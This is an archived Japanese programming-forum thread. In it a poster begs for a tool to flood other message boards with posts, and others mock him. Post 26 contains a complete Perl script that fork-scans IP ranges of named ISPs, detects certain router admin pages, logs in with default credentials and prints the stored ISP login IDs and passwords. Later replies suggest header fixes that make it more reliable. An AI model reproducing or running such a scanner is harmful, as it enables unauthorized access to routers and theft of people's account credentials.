トップページ⇒tech
39コメント8KB

荒らしツール

■ このスレッドは過去ログ倉庫に格納されています
00011NGNG
絶対に悪用しないので
デュークを越える荒らしツールを
作っていただけないでしょうか?
0002デフォルトの名無しさんNGNG
信用できん
0003仕様書無しさんNGNG
良いよ、
でも時々プロセス爆弾になって設置サーバ落ちちゃうけどOK?
00041NGNG
正直いって作れるものですか?
00051NGNG
希望するのは連続的に書き込みをするツールです
0006デフォルトの名無しさんNGNG
sage進行でやるなら教えてやる
00071NGNG
下げます
00081NGNG
絶対に悪用せず自分のHPで使いますので
決して動物嫌い板でつかったりしませんので
00091NGNG
本気で欲しいんです
なんとかお願いできないでしょうか?
0010デフォルトの名無しさんNGNG
そうだね。WIN32アプリで、1/100の確率でfusianasan状態
になったりするようなのなら、問題ないね。
0011デフォルトの名無しさんNGNG
まぁ、落ち着けって
まだこの位置じゃ教えられないよ
悪用しようとしてる奴が見てたらマジやばいからな
ある程度下がったところで
00121 ◆l2v9zhRY NGNG
じゃあ半分より↓にいくまで待ちます
トリップつけておきます
0013デフォルトの名無しさんNGNG
fusianasannとらっぷのような分散攻撃ツールが最も凶悪と思われ
00141 ◆l2v9zhRY NGNG
たとえば作った物を使ったとしたらどうなりますか?
まだわからないですか?
むかつく質問だったらスマソ
0015デフォルトの名無しさんNGNG
がぶりでゅーく
0016デフォルトの名無しさんNGNG
初級ネットにでもいけよ。
月一くらいでこういう糞スレが立つな。
0017デフォルトの名無しさんNGNG
晒しage
0018さらしあげNGNG
>>8
> 決して動物嫌い板でつかったりしませんので
ワラタ。使う気満々じゃん。

# ちなみにペット嫌い板は昨日厨房板に荒らされたとこだよ。
0019デフォルトの名無しさんNGNG
この程度のツールも作れないでここに出入りスンナヨ・・・
0020デフォルトの名無しさんNGNG
>>20
オマエモナー
0021デフォルトの名無しさんNGNG
えーと…
0022デフォルトの名無しさんNGNG
>>22 ワラタ
0023デフォルトの名無しさんNGNG
>>23
ゴタクハイイカラ、ツールツクレヨ!
0024デフォルトの名無しさんNGNG
>>24
あれほど言ったのに (中略) 氏ねよですっ!
0025スーパーハックマンNGNG
>>1
オライリーの表紙がペリカンのはヤバイぞマジで
0026デフォルトの名無しさんNGNG
#!/usr/bin/perl

# ODN 61.123.128.0/19
# ODN 61.201.0.0/18
# Nifty 61.121.64.0/19
# Nifty 61.210.0.0/18
# RIMNET 202.247.144.0/21

if ($ARGV[0]=~/(\d+)\.(\d+)\.(\d+)\.(\d+)\/?(\d*)/) {
$ip[0]=$1;$ip[1]=$2;$ip[2]=$3;$ip[3]=$4;
$m=($5>=16)?$5:24;$c=2**(32-$m);
if ($m<24) {$ip[3]=0;$ip[2]=int($ip[2]*256/$c)*$c/256;}
elsif ($m>=24) {$ip[3]=int($ip[3]/$c)*$c;}
} else {print "example: hack.pl 61.210.6.0/24\n";exit;}
$|=1;$SIG{'ALRM'}='kill';
for ($i=1;$i<=$c;$i++){
$pid=fork;
if ($pid==0) {alarm 3;&ip;exit;}
push(@pida,$pid);
unless ($i%64) {
sleep 1;
if($#pida>=255){foreach $j (1..64) {waitpid(shift(@pida),1);}}}
$ip[3]++;
if ($ip[3]==256) {$ip[2]++;$ip[3]=0;}
}
waitpid(shift(@pida),1) while ($#pida >= 0);sleep 1;print STDERR "\n";
sub ip {$ipstr="$ip[0].$ip[1].$ip[2].$ip[3]";
$addr=pack('CCCC',$ip[0],$ip[1],$ip[2],$ip[3]);
$this=pack('S n a4 x8',2,0,"\0\0\0\0");
$that=pack('S n a4 x8',2,80,$addr);
socket(S,2,1,6); bind(S,$this);
unless (connect(S,$that)) {
print STDERR "$ipstr...refused \r";return;}
$fh=select(S);$|=1;select($fh);
print S "GET / HTTP/1.0\r\n\r\n";
while (<S>) {
$server=$1 if (/^Server: ([^\r\n]*)/);
$au=$1 if (/^WWW-Authenticate: Basic realm="(\w*)"/);}
close(S);
unless (($server=~/^ALLIS\/FOS/ && $au eq 'user')
|| ($server=~/^Apache\/1\.1\.3$/ && $au eq 'Config')) {
print "$ipstr...failed1 ($server)\n";return;}
$this=pack('S n a4 x8',2,0,"\0\0\0\0");
$that=pack('S n a4 x8',2,80,$addr);
socket(S,2,1,6); bind(S,$this);connect(S,$that)||return;
$fh=select(S);$|=1;select($fh);
&atur if ($server=~/^ALLIS\/FOS/);
&mega if ($server=~/^Apache\/1\.1\.3$/);
if ($suc==2) {print "$ipstr...ID: $id, Password: $pass ($server)\n";}
else {print "$ipstr...failed2 ($server)\n";}
}
sub atur {print S "GET /easy HTTP/1.0\r\nAuthorization: Basic Y29uZmlnOg==\r\n\r\n";
while (<S>) {
if (/NAME="PA_LOG"/) {/VALUE="([^"]+)"/;$id=$1;$suc++;}
if (/NAME="PA_PS"/) {/VALUE="([^"]+)"/;$pass=$1;$suc++;}}}
sub mega {print S "GET /cgi-bin/Basicset.cgi?basic_num=1&reloadmenu=1 HTTP/1.0\r\nAuthorization: Basic cm9vdDpyb290\r\n\r\n";
while (<S>) {
if (/NAME="send_id"/) {/VALUE="([^"]+)"/;$id=$1;$suc++;}
if (/NAME="send_passwd"/) {/VALUE="([^"]+)"/;$pass=$1;$suc++;}}}
sub kill {exit;}
00271 ◆l2v9zhRY NGNG
>>26
さんのはなんですか?
0028デフォルトの名無しさんNGNG

とりあえずオライリーの表紙がフクロウのを読んどけ(ワラ
0029デフォルトの名無しさんNGNG
>>27
せっかく作ったのに何言ってやがる!!
もうくんな。
00301 ◆l2v9zhRY NGNG
いや僕サッパリこういうのわからなくてすいません!
ホントにすいません!
00311 ◆l2v9zhRY NGNG
僕がくるとこでは無かったみたいです
すいませんでした
そしてありがとうございました
0032デフォルトの名無しさんNGNG
どっとはらい。と
0033デフォルトの名無しさんNGNG
>>25
そのペリカンの本によるとrobot.txtをシカトして
ロボットに情報を収集させられるみたいな事が書いてあったが
そういう悪質なロボットの侵入を阻止するにはどうすればいいの?
0034デフォルトの名無しさんNGNG
.htacess で特定ホストからのアクセスを制限すればいい
0035デフォルトの名無しさんNGNG
s/.htacess/.htaccess/
0036デフォルトの名無しさんNGNG
>>26
とりあえずインデントしてもソース汚すぎるので読む気が起きないのであれだが、イマドキはHostヘッダを付けといた方が確実だぞ。
0037デフォルトの名無しさんNGNG
>>36
HTTP/1.0ならHostいらない。
0038デフォルトの名無しさんNGNG
定義されてないけど、利用する上では必要だよ(笑)
じゃないと誤爆する場合アリですよ。
0039デフォルトの名無しさんNGNG
言われてみると確かにそうですね>誤爆の可能性
失礼しました。
確実に逝くならHTTP/1.1にのっとったリクエストを吐くようにすべきカナ?

…って、何でこんなクソスレでマターリしなきゃならないんだYO! ヽ(`Д´)ノ プソプソ
■ このスレッドは過去ログ倉庫に格納されています